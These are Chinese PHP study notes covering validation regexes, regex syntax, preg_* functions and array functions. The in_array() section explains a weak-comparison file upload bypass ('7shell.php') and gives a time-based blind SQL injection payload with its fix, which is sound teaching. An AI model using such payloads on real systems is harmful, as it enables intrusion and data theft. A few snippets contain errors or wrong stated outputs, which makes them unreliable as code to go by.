$pattern = "/^(([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领][A-Z](([0-9]{5}[DF])|([DF]([A-HJ-NP-Z0-9])[0-9]{4})))|([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领][A-Z][A-HJ-NP-Z0-9]{4}[A-HJ-NP-Z0-9挂学警港澳使领]))$/u";
$reg = preg_match($pattern, $str);
return $reg;
}
//jS正则
/^[京津晋冀蒙辽吉黑沪苏浙皖闽赣鲁豫鄂湘粤桂琼渝川贵云藏陕甘青宁新][ABCDEFGHJKLMNPQRSTUVWXY][\dABCDEFGHJKLNMxPQRSTUVWXYZ]{5}$/
收款码
preg_match('/\.(jpg|gif|png)$/', $collection_code_image)
姓名,只包含中英文的名字
preg_match('/^[\x{4e00}-\x{9fa5}]{2,10}$|^[a-zA-Z\s]*[a-zA-Z\s]{2,20}$/isu', $realname)
昵称("/u"代表unicode(utf-8)匹配)
preg_match('/^[A-Za-z0-9_\x{4e00}-\x{9fa5}]+$/u',$nickname)
微信
$preg_wechat='/^[_a-zA-Z0-9]{5,19}+$/isu';
金钱、金额正则(数字会自动去掉前后的0,而字符串则不会,123,123.45,0.12)
preg_match("/(^[1-9]\d*$)|(^(0|([1-9]\d*))\.\d{1,2}$)/", $unit_price)
身份证号: 前两位表示地区不可能是0,而第7两位是年份的前1位也不可能是0,最后一位除了10个数字以外还可能是X|x
preg_match('/^\d{15}$|^[1-9]\d{5}[1-9]\d{10}[Xx0-9]$/', $idcard)
第一位和第二位是出生户口所在地的省级政府代码。
第三位和第四位代表出生户口所在地的地、市级政府代码。
第五位和第六位是代表出生户口所在地的县、区级政府代码。
而这些省、地、市、区、县的代码是固定的,国家相关部门规定的,从相关渠道可以获取到这些省、地、市的代码地址。
第七位到第十四位就是出生年月
第十五位到第十七位代表在出生地同年同月同日出生的一个顺序号,身份证号的第十七位是比较特殊的,奇数代表男性,偶数代表女性。
第十八为数字,是一个校验码,由国家相关部门发布的的统一计算公式计算而来。
身份证号第十八位数字的计算方法是:
前面十七位数字分别乘以不同的系数,这个系数是:7-9-10-5-8-4-2-1-6-3-7-9-10-5-8-4-2。然后结果取和,除以11,得到余数。
根据余数去匹配对应的数字:1-0-X -9-8-7-6-5-4-3-2分别对于余数0到10;
function checkIdCard($id = "36100119860426330X"){
$scale = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
$last = [1,0,'X',9,8,7,6,5,4,3,2];
$sum = 0;
foreach($scale as $key => $item){
$sum += $item * $id[$key];
}
return $last[$sum % 11] == $id[17];
}
微信官方定义的微信号规则
1、可使用6-20个字母、数字、下划线和减号;
2、必须以字母开头(不区分大小写);
3、不支持设置中文。
/^[a-zA-Z][a-zA-Z\d_-]{5,19}$/
验证网址url、网络链接
$pattern = '/^http(s?):\/\/(?:[A-za-z0-9-]+\.)+[A-za-z]{2,4}(:\d+)?(?:[\/\?#][\/=\?%\-&~`@[\]\':+!\.#\w]*)?/';
^http(s?):\/\/(/[\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?$
^http(s?):\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$
^[a-zA-z]+://[^\s]*$
^[a-zA-z]+://(\\w+(-\\w+)*)(\\.(\\w+(-\\w+)*))*(\\?\\S*)?$
^[a-zA-Z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\s*)?$
(h|H)(r|R)(e|E)(f|F) *= *('|")?(\w|\\|\/|\.)+('|"| *|>)?
图片url、图片链接
$reg = '/^((http|https):\/\/)+(\w+\.)+(\w+)[\w\/\.\-]*(jpg|gif|png)$/';
preg_match($reg, $str);
(s|S)(r|R)(c|C) *= *('|")?(\w|\\|\/|\.)+('|"| *|>)?
验证特殊符号(如需要验证其他字符,自行转义 "\X" 添加)
$preg_spacial="/\/|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\+|\{|\}|\:|\<|\>|\?|\[|\]|\,|\/|\;|\\' | \`|\-|\=|\\\|\|/isu";
中文字符: [\u4e00-\u9fa5]
中文、英文、数字及下划线: ^[\u4e00-\u9fa5_a-zA-Z0-9]+$
双字节字符(包括汉字在内): [^\x00-\xff], 用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)
删除空白行: \n[\s| ]*\r
HTML标记: /<(\S*?)[^>]*>.*?|<.*? />/
HTML标记: /<(.*)>.*<\/\1>|<(.*) \/>/
行首行尾首尾空格空白字符(包括空格、制表符、换页符等): ^\s*|\s*$ 或 (^\s*)|(\s*$)
QQ号(从10000开始): [1-9][0-9]{4,}
$preg_QQ='/^\d{5,12}$/isu';
邮政编码(6位数字): ^[1-9]\d{5}$
IP地址: /\d+\.\d+\.\d+\.\d+/
sql语句: ^(select|drop|delete|create|update|insert).*$
年-月-日: /^(d{2}|d{4})-((0([1-9]{1}))|(1[1|2]))-(([0-2]([1-9]{1}))|(3[0|1]))$/
月/日/年: /^((0([1-9]{1}))|(1[1|2]))/(([0-2]([1-9]{1}))|(3[0|1]))/(d{2}|d{4})$/
英文字符串: ^[A-Za-z]+$
英文大写串: ^[A-Z]+$
英文小写串: ^[a-z]+$
英文字符数字串: ^[A-Za-z0-9]+$
英数字加下划线串: ^\w+$
26个英文字母组成的字符串: ^[A-Za-z]+$
26个英文字母的大写组成的字符串: ^[A-Z]+$
26个英文字母的小写组成的字符串: ^[a-z]+$
数字和26个英文字母组成的字符串: ^[A-Za-z0-9]+$
数字和26个英文字母或者下划线组成的字符串: "^\w+$"
匹配特定数字:
任何数字: (-?\d*)(\.\d+)?
非负整数: ^\d+$
正整数: ^[0-9]*[1-9][0-9]*$
正整数: ^[1-9]\d*$
非正整数: ^((-\d+)|(0+))$
负整数: ^-[0-9]*[1-9][0-9]*$
负整数: ^-[1-9]\d*$
整数: ^-?\d+$
整数: ^-?[1-9]\d*$
正浮点数: ^((0-9)+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$
负浮点数: ^(-((正浮点数正则式)))$
非正浮点数: ^((-\d+\.\d+)?)|(0+(\.0+)?))$
非负浮点数: ^\d+(\.\d+)?$
非负整数(正整数 + 0): ^[1-9]\d*|0$ 或 ^\d+$
非正整数(负整数 + 0): ^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$
正浮点数: ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$
正浮点数: ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$
负浮点数: ^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$
负浮点数: ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$
浮点数: ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$
浮点数: ^(-?\d+)(\.\d+)?$
浮点数(即小数): (-?\d*)\.?\d+
非负浮点数(正浮点数 + 0): ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
非负浮点数(正浮点数 + 0): "^\d+(\.\d+)?$"
非正浮点数(负浮点数 + 0): ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
非正浮点数(负浮点数 + 0): "^((-\d+(\.\d+)?)|(0+(\.0+)?))$"
【 正则表达式的构成 】
'/原子和元字符/模式修正符'
【 PHP正则表达式定界符 】
正则表达式必须要使用定界符包围起来,在Js中定界符是"/"
除了字母、数字和反斜线\以外的任何字符都可以为定界符号,比如||、//、##、{}、!!等等,但如果没有特殊需要都使用正斜线//作为正则表达式的定界符号
|和/作为定界符是有差别的
如果正则表达式包含这些定界符就需要对这些字符进行转义
如果字符串中包含大量"/"字符,在使用"/"定界的时候,就需要对这些"/"转义,而使用"#"就不需要转义,更简洁
但是建议还是保持使用"/"作为定界符,因为在Js等语言中,只能使用"/"作为定界符,这样可以形成习惯,贯通于其他语言中
$url='W3CSchool的网址是http://www.jbxue.com/,你能把这个网址替换成正确的网址吗?';
echo preg_replace('/http\:\/\/www\.jbxue\.com\//','http://www.w3cschool.com',$url);
echo preg_replace('|http\:\/\/www\.jbxue\.com\/|','http://www.w3cschool.com',$url);
echo preg_replace('#http\://www\.jbxue\.com/#','http://www.w3cschool.com',$url)
【 正则字符 】
\ 将下一个字符标记为特殊字符或原义字符或一个向后引用或八进制转义符,\n匹配字符n,\\n ->换行符,\\->\,\(->(
^ 匹配输入字符串的开始位置。如果设置了RegExp对象的Multiline属性,^也匹配PHP_EOL或’\n’或"\r"之后的位置
$ 匹配输入字符串的结束位置。如果设置了RegExp对象的Multiline属性,$也匹配PHP_EOL或’\n’或"\r"之前的位置
* 匹配前面的子表达式零次或多次,*等价于{0,},例如zo*能匹配"z"以及"zoo"
+ 匹配前面的子表达式一次或多次,+等价于{1,},例如"zo+"能匹配"zo"以及"zoo",但不能匹配"z"
? 匹配前面的子表达式零次或一次,?等价于{0,1},例如"do(es)?"可以匹配"does"或"does"中的"do"
{n} n是一个非负整数,匹配确定的n次,例如"o{2}"不能匹配"Bob"中的"o",但能匹配"food"中的两个o
{n,} n是一个非负整数,至少匹配n次,例如能匹配"foooood"中的所有o。"o{1,}"等价于"o+"。"o{0,}"则等价于"o*"
{n,m} m和n均为非负整数,其中n<=m,最少匹配n次且最多匹配m次,例如"o{1,3}"将匹配"fooooood"中的前三个o。"o{0,1}"等价于"o?",逗号和两个数之间不能有空格
? 当该字符紧跟在任何一个其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式是非贪婪的
非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串
例如,对于字符串"oooo","o?"将匹配单个"o",而"o+"将匹配所有"o"
.点 匹配除PHP_EOL("\n")之外的任何单个字符。要匹配包括PHP_EOL("\n")在内的任何字符使用"[\s\S]"的模式
x|y 匹配x或y。例如"z|food"能匹配"z"或"food"。"(z|f)ood"则匹配"zood"或"food"
[xyz] 字符集合。匹配所包含的任意一个字符,如"[abc]"匹配"plain"中的"a"
[^xyz] 负值字符集合。匹配未包含的任意字符,如"[^abc]"匹配"plain"中的"plin"
[a-z] 字符范围。匹配指定范围内的任意字符,如"[a-z]"匹配"a"到"z"范围内的任意小写字母字符,只有连字符在字符组内部且出两个字符之间时才能表示字符的范围;如果出字符组的开头则只能表示连字符本身
[^a-z] 匹配任何不在指定范围内的任意字符,"[^a-z]"可以匹配任何不在"a"到"z"范围内的任意字符
\b 匹配一个单词边界,也就是指单词和空格间的位置。如"er\b"可匹配"never"中的"er",但不能匹配"verb"中的"er"
\B 匹配非单词边界。"er\B"能匹配"verb"中的"er",但不匹配"never"中的"er"
\cx 匹配由x指明的控制字符。如\cM匹配一个Control-M或回车符,x的值须为A-Z或a-z之一,否则将c视为一个原义的"c"字符
\d 匹配一个数字字符,等价于[0-9]
\D 匹配一个非数字字符,等价于[^0-9]
\s 匹配任何空白字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]
\S 匹配任何非空白字符,等价于[^ \f\n\r\t\v]
\w 匹配包括下划线的任何单词字符,等价于"[A-Za-z0-9_]"
\W 匹配任何非单词字符,等价于"[^A-Za-z0-9_]"
\xn 匹配n,其中n为十六进制转义值。十六进制转义值须为确定的两个数字长,\x41匹配A,\x041->\x04&1,正则表达式中可以使用ASCII编码
\num 匹配num,其中num是一个正整数。对所获取的匹配的引用。例如,"(.)\1"匹配两个连续的相同字符
\n 标识一个八进制转义值或一个向后引用。如果\n之前至少n个获取的子表达式则n为向后引用,否则如果n为八进制数字(0-7),则n为一个八进制转义值
\nm 标识一个八进制转义值或一个向后引用。如果\nm之前至少有nm个获得子表达式,则nm为向后引用
如果\nm之前至少有n个获取,则n为一个后跟文字m的向后引用
如果前面的条件都不满足,若n和m均为八进制数字(0-7),则\nm将匹配八进制转义值nm
\nml 如果n为八进制数字(0-7),且m和l均为八进制数字(0-7),则匹配八进制转义值nml
\un 匹配n,其中n是一个用四个十六进制数字表示的Unicode字符。例如\u00A9匹配版权符号(©)
转义字符
\a 报警
\b 退格
\f 匹配一个换页符。等价于\x0c和\cL
\n 匹配一个换行符。等价于\x0a和\cJ
\r 匹配一个回车符。等价于\x0d和\cM
\t 匹配一个制表符。等价于\x09和\cI
\v 匹配一个垂直制表符。等价于\x0b和\cK
【 括号字符() 】
1、改变限定符如(|、* 、^)的作用范围
my|yourbaby中|将匹配的是要么是my要么是yourbaby,(my|your)baby匹配的就是mybaby或yourbaby。
2、进行分组,便于反向引用
反向引用
反向引用就是依靠子表达式的记忆功能匹配连续出现的字串或是字符,如(dqs)(pps)\1\2表示匹配字符串dqsppsdqspps
(pattern)
匹配pattern并获取这一匹配,所获取的匹配可以从产生的Matches集合得到
在VBScript中使用SubMatches集合,在JScript中则使用$0…$9属性。要匹配圆括号字符须使用"\("或"\)"
(?:pattern)
匹配pattern但不获取匹配结果,即这是一个非获取匹配,不进行存储供以后使用
这在使用或字符"(|)"来组合一个模式的各个部分是很有用
例如"industr(?:y|ies)"就是一个比"industry|industries"更简略的表达式
(?=pattern)
正向肯定预查,在任何匹配pattern的字符串开始处匹配查找字符串,这是一个非获取匹配,即该匹配不需要获取供以后使用
例如,"Windows(?=95|98|NT|2000)"能匹配"Windows2000"中的"Windows",但不能匹配"Windows3.1"中的"Windows"
预查不消耗字符,即在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始
(?!pattern)
正向否定预查,在任何不匹配pattern的字符串开始处匹配查找字符串,这是一个非获取匹配,即该匹配不需获取供以后使用
例如"Windows(?!95|98|NT|2000)"能匹配"Windows3.1"中的"Windows",但不能匹配"Windows2000"中的"Windows"
(?<=pattern)
反向肯定预查,与正向肯定预查类似,只是方向相反
例如"(?<=95|98|NT|2000)Windows"能匹配"2000Windows"中的"Windows",但不能匹配"3.1Windows"中的"Windows"
(?<!pattern) 其中的!是英文的!
反向否定预查,与正向否定预查类似,只是方向相反
例如"(?<!95|98|NT|2000)Windows"能匹配"3.1Windows"中的"Windows",但不能匹配"2000Windows"中的"Windows"。?>
// 列出字符串中每个字符,用于匹配包含中文字符的字符串
$arr = preg_split('/(?<!^)(?!$)/u',$str); // !要换成!,正则反向否定预查+正向否定预查
所有正则字符都有特定含义,如果需用来表示原字符含义就要在前面加"\"转义,即使非正则字符用"\"转义也是没有问题的
1+1=2 正则表达式也可以是: \1\+\1\=\2
1+1=2 正则表达式是: 1\+1=2
而正则表达式1+1=2可以代表多个1=2,即:
11=2 正则表达式: 1+1=2
1111=2 正则表达式: 1+1=2
【 PHP正则表达式修饰符 】
修饰符被放在PHP正则表达式定界符"/"尾部,在正则表达式尾部引号之前
在PHP正则替换中是匹配所有符合条件的元素,所以不存在修饰符"g"
i 忽略大小写,php中大小写敏感
m 多文本模式,根据\n拆分多行然后每行独立匹配,每一行的开头就是"^",结尾就是"$"
s 单行文本模式,圆点元字符.匹配所有的字符,包括换行符
x 忽略空白字符,除非进行转义的不被忽略
A 模式被强制为"anchored",即强制仅从目标字符串的开头开始匹配即自动在模式开头加上^,比如"/a/A"匹配"abcd"
D 锁定$作为结尾,如果没有D,如果字符串包含[\n]等换行符,$依旧依旧匹配换行符。如果设置了修饰符m,修饰符D 就会被忽略
S 对非锚定的匹配进行分析
U 非贪婪模式,如果在正则字符量词后加"?"就可以恢复贪婪
X 打开与perl不兼容附件
u 强制字符串为UTF-8编码,一般在非UTF-8编码的文档中才需要这个。建议UTF-8环境中不要使用这个
【 贪婪匹配与惰性匹配 】
贪婪匹配就是匹配尽可能多的字符。
正则表达式中m.*n将匹配最长以m开始n结尾的字符串。用来搜索manmpndegenc的话将匹配到的字符串是manmpndegen而非man
懒惰匹配就是匹配尽可能少的字符。
有的时候需要并不是去贪婪匹配,而是尽可能少的去匹配。这时候就需要将其转为惰性匹配。
只需要在其后面添加一个"?"即可将一个贪婪匹配转为惰性匹配。如m.*?n将匹配manmpndegenc匹配到的字符串是man。
函数符 描述
*? 零次或多次,但尽可能少的匹配
+? 一次或多次,但尽可能少的匹配
?? 0次或1次,但尽可能少的匹配
{n,}? 至少n次,但尽可能少的匹配
{n,m}? n到m次 ,但尽可能少的匹配
正则表达式修饰符U表示整个表达式为非贪婪模式
【 PHP正则匹配中文 查看preg_match_all()的用法 】
大小写和中文在PHP中都是敏感的,但是在Js正则中只对大小写敏感,忽略大小写也是通过修饰符i作用的,
但是js不需要告知是否是UTF-8中文等特殊字符,直接可以匹配中文
preg_replace() 区分大小写的,且只能匹配ASCII编码内的字符串,如需匹配不区分大小写和中文等字符要添加相应的修饰符i或u
$weigeti='W3CSchool在线教程网址: http://www.w3cschool.com/';
echo preg_replace('/W3CSchool/','w3c',$weigeti); // w3c在线教程网址: http://www.w3cschool.com/
echo preg_replace('/W3CSchool/i','w3c',$weigeti); // w3c在线教程网址: http://www.w3c.com/
echo preg_replace('/网址/u','',$weigeti); // W3CSchool在线教程: http://www.w3cschool.com/
$str = "学习php是一件快乐的事。";
preg_match_all("/[\x{4e00}-\x{9fa5}]+/u",$str,$match);
var_dump($match); // [["学习","是一件快乐的事"]]
【 PHP正则换行符实例 】
PHP正则表达式在遇到换行符时会将换行符当做字符串中间一个普通字符,而通用符号.不能匹配\n
$url="baidu.com\nIS\nLOVING\nYOU";
echo preg_replace('/^[A-Z].*[A-Z]$/','',$url); // .无法匹配\n,输出baidu.com IS LOVEING YOU
echo preg_replace('/^[A-Z].*[A-Z]$/s','',$url); // 修饰符s表示.可以匹配\n了,输出baidu.com IS LOVEING YOU
echo preg_replace('/^[A-Z].*[A-Z]$/m','',$url); // 修饰符m将\n作为多行独立匹配,输出:baidu.com
// 等价于:
$a=preg_replace('/^[A-Z].*[A-Z]$/','','baidu.com');
$b=preg_replace('/^[A-Z].*[A-Z]$/','','IS');
$c=preg_replace('/^[A-Z].*[A-Z]$/','','LOVING');
$d=preg_replace('/^[A-Z].*[A-Z]$/','','YOU');
echo $a.$b.$c.$d;
【 正则替换匹配变量向后引用 】
Javascript使用$1 $2 $3 …… 等向后引用,而在PHP中这些也可以被当作向后引用参数,还可以使用\1 \\1来表示向后引用
向后引用的概念就是匹配一个大片段,这个正则表达式内部又被用括号切割成若干小匹配元素,那么每个匹配元素就被按照小括号序列用向后引用代替
$weigeti='W3CSchool 在线教程网址: http://www.jbxue.com ,你Jbzj!了吗?';
echo preg_replace('/.+(http\:[\w\-\/\.]+\/)[^\w\-\!]+([\w\-\!]+).+/','$1',$weigeti);
echo preg_replace('/.+(http\:[\w\-\/\.]+\/)[^\w\-\!]+([\w\-\!]+).+/','\1',$weigeti);
echo preg_replace('/.+(http\:[\w\-\/\.]+\/)[^\w\-\!]+([\w\-\!]+).+/','\\1',$weigeti);
// 上面三个都是输出 【http://www.jbxue.com】
echo preg_replace('/^(.+)网址: (http\:[\w\-\/\.]+\/)[^\w\-\!]+([\w\-\!]+).+$/','栏目: $1< br>网址: $2< br>商标: $3',$weigeti);
正则常用函数
【 preg_match 】
执行匹配正则表达式
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
pattern: 要搜索的模式,字符串类型。
subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果,数据结构为一维数组。
flags: 可以设置为PREG_OFFSET_CAPTURE,使用搜索结果的第0个元素为匹配的字符串,第1个元素为对应的偏移量(位置)
offset: 搜索从目标字符串的起始位置开始匹配。
返回值: 匹配次数
类似函数preg_match_all,参数与preg_match一致,区别:
preg_match: 只匹配一次,搜索结构match的数据结果为一维数组
preg_match_all: 匹配全部,搜索结果match的数据结构为二维数组。
【 preg_replace 】
执行一个正则表达式搜索和替换,返回值为替换后的字符串
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
pattern: 要搜索的模式。可以是一个字符串或字符串数组。
replacement: 用于替换的字符串或字符串数组
subject: 要进行搜索和替换的字符串或字符串数组。
limit: 替换的最大次数。默认是 -1(无限)。
count: 替换次数。
类似函数preg_filter,参数与preg_replace一致
区别(使用数组进行匹配的时候才看得出区别):
preg_replace: 不管是否有替换,返回全部结果
preg_filter: 只返回匹配的结果。
【 preg_split 】
通过一个正则表达式分隔字符串
preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] ) : array
$pattrn: 用于搜索的模式,字符串形式。
subject: 输入字符串
limit: 将限制分隔得到的子串最多只有limit个,返回的最后一个子串将包含所有剩余部分。
flags: 有以下标记的组合:
-- 1. PREG_SPLIT_NO_EMPTY: 返回分隔后的非空部分。
-- 2. PREG_SPLIT_DELIM_CAPTURE: 用分隔符'()'括号把匹配的捕获并返回。
-- 3. PREG_SPLIT_OFFSET_CAPTURE: 匹配返回时将会附加字符串偏移量
$subject = "1a23b";
$a = preg_split('/[\d]/', $subject, -1, PREG_SPLIT_NO_EMPTY);
var_dump($a);
$a = preg_split('/([\d])/', $subject, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
var_dump($a);
输出如下:
array (size=2)
0 => string 'a' (length=1)
1 => string 'b' (length=1)
array (size=5)
0 => string '1' (length=1)
1 => string 'a' (length=1)
2 => string '2' (length=1)
3 => string '3' (length=1)
4 => string 'b' (length=1)
【 preg_grep 】
返回匹配模式的数组条目
preg_grep ( string $pattern , array $input [, int $flags = 0 ] ) : array
$pattern: 要搜索的模式,字符串形式
$input: 输入数组
flags: 如果不设置则返回匹配的数目,设置PREG_GREP_INVERT则返回不匹配的数目。
【 preg_quote 】
转义正则表达式字符,返回为转义后的字符串
preg_quote ( string $str [, string $delimiter = NULL ] ) : string
str: 输入字符串
delimiter: 需要转义的字符串
数组
数组能在单一变量名中存储许多值,并能通过下标号访问某个值
【 创建数组 】
1.$arr = array(key => value, key => value);
2.$arr = [key => value ,key => value] // php5.4
3.初始化方式创建数组
$arr['name'] = 'value1';
$arr['age'] = 'value2';
$arr[0] = 'value3';
$arr[] = 'value4'; // 键名默认为0,比已存在的整型键名大1
var_export($arr); // array('name'=>'value1','age'=>'value2',0=>'value3',1=>'value4')
4.字符串分割函数explode()
5.range()函数
$arr = range(1,10) // 创建范围是1-10的自动索引数组,等差数列数组
$arr = range(1,10,3) // 每隔3隔数创建数组元素
6.compact
7.array_fill
8.array_combine
echo "hello world"[4];
【 数组的比较 】【 数组递归 】
【 数组类型 】
PHP数组的下标有两种类型: 一种是整数,一种是字符串,可同时含有integer和string类型的键名,因为PHP实际并不区分索引数组和关联数组
如果对给出的值没有指定键名则新的键名将是取当前最大的整数索引值加一,如果指定的键名已经有了值,则该值会被覆盖
1.索引数组 - 带有数字索引的数组,数字作为键名
$cars = array("Volvo","BMW","SAAB"); //自动分配从0开始的索引
$cars[0] = "Volvo";
$cars[1] = "BMW";
$cars[2] = "SAAB";
2.关联数组 - 带有指定键的数组,字符串数字作为键名
array( key => value,key2 => value2,key3 => value3,...)
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
1.一维数组 2.多维数组 - 包含一个或多个数组的数组一维数组合并成二维数组For嵌套循环来获取多维数组中的元素多维数组的应用: 表格多维数组的应用: 表格多维数组的应用: 日历
数组的方法
print_r($arr) 输出数组
implode(' ',$arr) 将一个一维数组的值转换成空格拼接的字符串
explode(' ',$tr) 将字符串转化为数组
【 isset() 】
isset ( mixed $var [,mixed $... ] ): bool
检测变量是否已设置并且非NULL
isset()只能用于变量,因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置可使用defined()函数
因为是一个语言构造器而不是一个函数,不能被可变函数调用。
如果使用isset()来检查对象无法访问的属性,如果__isset()方法已经定义则会调用这个重载方法。
对于数组中的元素也同样有效在字符串位移中使用isset()
【 count() 】
count($arr): int
返回数组的长度(元素数),sizeof()是count()的别名
$cars = array("Volvo","BMW","SAAB");
for($x = 0 ; $x < count($cars); $x++){
echo $cars[$x].'\n';
}
【 array_sum() 】
array_sum ( array $array ): number
对数组中所有数值求和,所有值的和以整数或浮点数的结果返回,array为空时则返回0
echo array_sum(array(2,4,6,8)); // 20
echo array_sum(array("a" => 1.2,"b" => 2.3,"c" => 3.4)); // 6.9
$pay_money = round(array_sum(array_column($orders_arr, 'money')), 2); // 浮点数累加出现精度问题
$foo = ["12",10,"bar","summer"];
echo array_sum ($foo); // 22
$average = array_sum($foo) / count($foo); // 求数组的平均值
数组中只包含字符串
【 array_change_key_case() 】
array_change_key_case ( array $array [,int $case = CASE_LOWER ] ): array
将数组中的所有键名修改为全大写或小写,不改变数字索引,如果输入值array不是一个数组返回FALSE
case参数可以用两个常量,CASE_UPPER或CASE_LOWER(默认值)
【 删除一维数组中某一个值元素 】
$tmp = '324';
$arr = array( 321, 322, 323, 324, 325, 326, );
// 1
foreach( $arr as $k=>$v) {
if($tmp == $v) unset($arr[$k]); // 不重置索引
}
$arr = array_values($arr); // 重置索引
$arr = array_merge($arr); // 重置索引
print_r($arr);
// 2
$key = array_search($tmp ,$arr);
if ($key !== false) array_splice($arr,$key,1); // 重置索引
var_dump($arr);
// 3
$arr = array_merge(array_diff($arr, array($tmp)));
var_dump($arr);
【 array_search() 】
array_search ( mixed $find ,array $arr [,bool $strict = false ] ): mixed
在数组中搜索给定的值,成功则返回首个相应的键名,否则返回FALSE,应使用===运算符来测试此函数的返回值
要返回所有匹配值的键,应该用array_keys()加上可选参数search_value来代替
find参数表示搜索的值,字符串区分大小写比较
strict参数为TRUE则将在arr中检查完全相同的元素,即同样严格比较arr里find的类型,并且对象需是同一个实例。
$array = array('blue', red', 'green', 'red');
var_dump(array_search('green',$array)); // int 2
var_dump(array_search('red',$array)); // int 1
【 in_array() 】
in_array ( mixed $find ,array $arr [,bool $strict = FALSE ] ): bool
检查数组中是否存在某个值,区分大小写,返回布尔值
needle是字符串则比较是区分大小写,in_array(strtolower($needle), array_map('strtolower', $haystack));
strict参数需设为TRUE则还会检查find的类型是否和arr中的相同
var_dump(in_array(0, array('s')); // bool(true)。
因为in_array会将0和's'进行比较,0是number类型,'s'是string类型,根据php教程manual中"comparison operators"一章的说明可知,number和string进行
比较时先将string类型首先转化为number,然后再进行比较操作。 's'转化为number的结果为0,而0 == 0 的结果是true,所以in_array(0, array('s', 'ss'))的结果也是true
in_array中是先将类型转为整形,再进行判断
PHP作为弱类型语言,类型转换的时候,会有很大漏洞
转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0
var_dump(in_array("2%20and%20%", [0,2,3])); // bool(true)
漏洞解析:
if(in_array($this->file['name'], $this->whitelist)){
move_upload_file($this->file['tmp_name'], self::UPLOAD_DIRECTIRY . $this->file['name']);
}
任意文件上传漏洞,而导致这一漏洞的发生则是不安全的使用in_array()函数来检测上传的文件名,由于该函数并未将第三个参数设置为true,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为7shell.php。因为PHP在使用in_array()函数判断时会将7shell.php强制转换成数字7,而数字7在range(1,24)数组中,最终绕过in_array()函数判断,导致任意文件上传漏洞。这里之所以会发生强制类型转换,是因为目标数组中的元素为数字类型
漏洞解析:
if(!in_array(input('rate'), $config['rate_items'])) return false;
$sql = "insert into test_table (user_id, rate, date) values ({$uid}, $rate, NOW());"
没有将 in_array()函数的第三个参数设置为 true,所以会进行弱比较,可以绕过。比如我们将 $rate的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#那么SQL语句就变成:
insert into test_table (user_id, rate, date) values (1, 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#, NOW());
这个漏洞的原因是弱类型比较问题,可以使用强匹配进行修复。例如将in_array()函数的第三个参数设置为true,或使用intval()将变量强转成数字,又或使用正则匹配来处理变量
$array = array('testing',0,'name');
var_dump(in_array('foo', $array)); // TRUE
var_dump(in_array('foo', $array, TRUE)); // false
【 array_key_exists() 】 array_key_exists ( mixed $key ,array $array ): bool 检查数组里是否有指定的键名或索引,返回布尔值,是key_exists()的别名,仅仅搜索第一维的键,多维数组里嵌套的键不会被搜索到 为兼容以前版本,如果object当做array传入array_key_exists(),同时key是对象的属性,也会返回TRUE。不要依赖这个特性,保证参数array类型是数组 要检查对象是否有某个属性,应该去用property_exists()
【 array_key_first() 】 array_key_first ( array $array ) : mixed Get the first key of the given array without affecting the internal array pointer,NULL otherwise var_dump(array_key_first(['a' => 1, 'b' => 2, 'c' => 3])); // string(1) "a" 【 array_key_last() 】 array_key_last ( array $array ) : mixed Get the last key of the given array without affecting the internal array pointer.
【 array_keys() 】 array_keys ( array $array [,mixed $search_value = null [,bool $strict = false ]] ): array 返回数组中部分或所有数字或字符串的键名,返回索引数组,默认不区分大小写,strict参数为true表示判断在搜索时使用严格的比较===,,严格区分数据类型 可选参数search_value表示只返回该值的键名,否则input数组中的所有键名都会被返回修改数组键名
【 array_values() 】
array_values ( array $array ): array
返回数组中所有的值并给其建立数字索引
$array = array("size" => "XL","color" => "gold");
print_r(array_values($array)); // Array ( [0] => XL [1] => gold )
【 array_count_values() 】
array_count_values ( array $array ): array
统计值在数组中出现的频率,返回的数组的键是array里单元的值,数组的值是array单元的值出现的次数
对数组里面的每个不是string和integer类型的元素抛出一个警告错误E_WARNING
$array = array(1,"hello",1,"world","hello");
var_export(array_count_values($array)); // array ( 1 => 2,'hello' => 2,'world' => 1,)
【 array_column() 】
array_column ( array $input ,mixed $column_key [,mixed $index_key = null ] ): array
返回input数组中某个单一列column_key的值,index_key可选作为新数组对应的键,二维数组转一维数组
